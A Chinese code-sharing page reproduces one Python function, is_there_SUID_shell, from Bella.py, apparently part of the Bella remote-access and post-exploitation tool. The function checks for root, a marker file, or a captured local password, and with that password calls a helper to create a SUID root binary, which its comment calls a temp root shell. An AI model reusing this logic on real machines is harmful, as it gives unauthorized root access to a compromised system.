Bella.py 文件源码

python
阅读 26 收藏 0 点赞 0 评论 0

项目:Bella 作者: Trietptm-on-Security 项目源码 文件源码
def is_there_SUID_shell():
    if os.getuid() == 0:
        return True

    if os.path.isfile('/usr/local/roots'):
        return True

    if local_pw_read():
        #send_msg("%sLocal PW present.\n" % greenPlus, False)
        binarymake = make_SUID_root_binary(local_pw_read(), None)
        #send_msg(binarymake[1], False)
        if binarymake[0]: #we have successfully created a temp root shell
            return True 
        return False

    return False
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号